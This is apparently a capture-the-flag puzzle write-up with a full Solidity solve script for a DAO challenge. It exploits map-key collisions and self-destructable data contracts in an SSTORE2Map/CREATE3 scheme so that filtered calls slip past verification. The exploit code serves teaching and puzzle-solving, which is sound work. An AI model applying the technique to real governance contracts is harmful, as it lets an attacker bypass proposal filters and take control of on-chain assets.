Puzzle #1
Usurper's Throne
Author
0xb49bf876be26435b6fae1ef42c3c82c5867fa149
chainlight.io

Write-up for Usurper's Throne

Overview

This challenge is meant to test a competitors understanding of SSTORE2Map. Specifically, why is the stored data prefixed with a 00 byte? Why is it critical that the stored data cannot be executed?

To make the challenge more interesting, the logic of the CREATE3 library was also modified to selfdestruct the proxy contract, allowing both the proxy contract and (potentially) the data contract to be redeployed.

In this challenge, the map was used to store DAO proposal calldata payloads, and were filtered before storing. The DAO also stored proposal descriptions (string) in this manner, but in a way that enabled collisions on the map key. As the descriptions were unfiltered, a collision between one proposal's description and another's calldata could cause the calldata to be modified after verification, allowing filtered methods to be called by the DAO.

Solving the puzzle

The challenger needs to get the DAO to call two methods: forgeThrone and addUsurper. The forgeThrone call is easy to execute by simply using the DAO as intended. To craft a call to addUsurper, you must perform the following steps:

  1. Pick a arbitrary, unused proposal ID, say x.
  2. Construct a proposal with id = keccak256(x, x) with payload data beginning with the forgeThrone selector (0x6d2cd781) that can be self-destructed. To do this, notice that the first byte (6d) is a PUSH14 opcode, meaning that when executed, the first 15 bytes of the proposal will execute as a valid instruction. Simply placing a selfdestruct (0xff) after this instruction will suffice. Execute the payload contract created above, self-destructing it.
  3. Execute the payload contract created above, self-destructing it.
  4. Create a new proposal with id = x with any payload data, but with description equal to the new payload data: abi.encodeWithSelector(Throne.addUsurper.selector, solver). This will recreate the payload contract for proposal keccak(x, x), but with no validation checks.
  5. Vote for and execute proposal ID keccak256(x, x).

Solve script

Check out our solve script below for more details.

SoliditySolidity's logo.Solve.s.sol
1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.13;
3
4
import {Test, console2} from "forge-std/Test.sol";
5
import {Throne} from "../src/Throne.sol";
6
import {DAO} from "../src/DAO.sol";
7
8
contract Voter {
9
constructor(
10
DAO dao,
11
uint256 id
12
) {
13
dao.vote(id);
14
assembly {
15
selfdestruct(0)
16
}
17
}
18
}
19
20
bytes32 constant SLOT_KEY_PREFIX = 0x06fccbac10f612a9037c3e903b4f4bd03ffbc103781cbe821d25b33299e50efb;
21
bytes32 constant KECCAK256_PROXY_CHILD_BYTECODE = 0x648b59bcbb41c37892d3b820522dc8b8c275316bb020f043a9068f607abeb810;
22
23
function addressOf(address addr, bytes32 _salt) pure returns (address) {
24
address proxy = address(
25
uint160(
26
uint256(
27
keccak256(
28
abi.encodePacked(
29
hex'ff',
30
addr,
31
_salt,
32
KECCAK256_PROXY_CHILD_BYTECODE
33
)
34
)
35
)
36
)
37
);
38
39
address c = address(
40
uint160(
41
uint256(
42
keccak256(
43
abi.encodePacked(
44
hex"d6_94",
45
proxy,
46
hex"01"
47
)
48
)
49
)
50
)
51
);
52
return c;
53
}
54
55
function internalKey(bytes32 _key) pure returns (bytes32) {
56
// Mutate the key so it doesn't collide
57
// if the contract is also using CREATE3 for other things
58
return keccak256(abi.encode(SLOT_KEY_PREFIX, _key));
59
}
60
61
contract Solver {
62
uint256 constant REQUIRED_VOTES = 3;
63
64
Throne immutable throne;
65
DAO immutable dao;
66
address immutable solver;
67
uint256 immutable solution;
68
69
constructor(Throne _throne, address _solver) {
70
throne = _throne;
71
dao = throne.dao();
72
solver = _solver;
73
solution = uint256(keccak256(abi.encode(solver)));
74
}
75
76
function createIds(uint256 seed, uint256 count) internal pure returns (uint256[] memory result) {
77
result = new uint256[](count);
78
for (uint256 i = 0; i < count; i++) {
79
seed = uint256(keccak256(abi.encode(seed, seed)));
80
result[i] = seed;
81
}
82
}
83
84
function doVotes(uint256 id) internal {
85
for (uint256 i = 0; i < REQUIRED_VOTES-1; i++) {
86
new Voter(dao, id);
87
}
88
}
89
90
function stage1() public {
91
uint256[] memory ids = createIds(uint256(keccak256("ChainLight")), 4);
92
93
dao.createProposal(
94
ids[3],
95
address(throne),
96
abi.encodeWithSelector(Throne.forgeThrone.selector, solution),
97
""
98
);
99
doVotes(ids[3]);
100
dao.execute(ids[3]);
101
102
// create data which can be selfdestructed
103
bytes memory data = hex"6d2cd7810000000000000000000000ff";
104
dao.createProposal(ids[1], address(throne), data, "");
105
106
address dataAddress = addressOf(address(dao), internalKey(bytes32(ids[1])));
107
108
// selfdestruct the data
109
(bool success, ) = address(dataAddress).call("");
110
require(success);
111
}
112
113
function stage2() public {
114
uint256[] memory ids = createIds(uint256(keccak256("ChainLight")), 4);
115
116
bytes memory desc = abi.encodeWithSelector(Throne.addUsurper.selector, solver);
117
bytes memory data = abi.encodeWithSelector(Throne.forgeThrone.selector);
118
dao.createProposal(ids[0], address(throne), data, string(desc));
119
120
doVotes(ids[1]);
121
dao.execute(ids[1]);
122
}
123
}
124
125
contract Solve is Test {
126
Throne throne;
127
Solver solver;
128
129
function setUp() public {
130
throne = Throne(0x6d353b5FB19d63791FAf8a2e4B5Fa8D32519a8A3);//new Throne();
131
stage1();
132
}
133
134
function stage1() public {
135
address me = 0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149;
136
solver = new Solver(throne, me);
137
solver.stage1();
138
}
139
140
function stage2() public {
141
address me = 0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149;
142
solver.stage2();
143
require(throne.verify(throne.generate(me), uint256(keccak256(abi.encode(me)))), "not solved");
144
}
145
146
function test() public {
147
stage2();
148
}
149
}
Waterfall